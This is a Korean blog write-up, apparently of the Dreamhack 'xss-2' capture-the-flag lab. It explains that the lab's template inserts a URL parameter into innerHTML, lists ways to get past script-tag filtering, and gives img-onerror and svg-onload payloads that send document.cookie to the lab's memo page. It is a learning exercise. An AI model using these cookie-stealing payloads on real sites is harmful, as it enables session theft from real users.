<문제>
여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.
xss-2는 vuln 링크가 xss-1과 다르다.
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
입력된 param그대로 반환하지 않고 vuln.html을 렌더링한다.
{% block content %}
<div id='vuln'></div>
<script>var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');</script>
{% endblock %}
vuln.html파일을 보니까 이런 식으로 xss공격을 막아두었다.
그래서 xss-1에서처럼 script 태그를 사용하면 정상적으로 공격이 되지 않는다.
xss 공격 우회 태그에 대해서 검색해보니
<script> 태그가 막혔을 때 사용할 수 있는 방법이 나왔다.
1. 대소문자 혼용
<ScRiPt> 이런 식으로 script 태그 작성
2. script 필터링 우회
<scrscriptipt> 이렇게 작성하면 <script>로 인식 되는 경우도 있다고 함
3. 다른 태그 사용
<img src=x onerror= location.href="/memo?memo="+document.cookie;>
<svg onload=location.href="/memo?memo="+document.cookie;>
이런 식으로 다른 태그 사용 가능
img 태그와 onload 태그 모두 작동되었다.
이렇게 flag가 잘 나왔다!
'웹해킹' 카테고리의 다른 글
드림핵 csrf-1 롸업 (0) | 2023.11.03 |
---|---|
ClientSide: CSRF (0) | 2023.11.03 |
드림핵 xss-1 롸업 (0) | 2023.11.03 |
Cross-Site-Scripting (XSS) (0) | 2023.11.03 |
드림핵 session-basic 롸업 (0) | 2023.11.03 |